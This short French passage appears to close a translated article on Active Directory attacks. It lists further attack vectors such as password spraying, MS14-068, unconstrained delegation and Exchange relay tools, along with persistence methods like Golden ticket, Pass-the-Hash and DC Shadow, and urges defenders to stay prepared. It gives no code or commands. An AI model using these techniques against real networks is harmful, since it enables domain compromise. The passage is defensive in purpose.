Dans l'article, nous n'avons examiné que certains vecteurs d'attaque. Des vues telles que Enumerate Accounts et Password spray , MS14-068 , un tas de bogues d'imprimante et de délégation sans contrainte, les attaques sur Exchange ( Ruler , PrivExchange , ExchangeRelayX ) peuvent élargir considérablement la portée de l'attaque.

Les techniques d'attaque et les méthodes d'épinglage (Golden ticket, Silver ticket, Pass-The-Hash, Over pass the hash, SID History, DC Shadow, etc.) changent constamment, et l'équipe de défense devrait toujours être prête pour de nouveaux types d'attaques.

Source: https://habr.com/ru/post/fr449278/


All Articles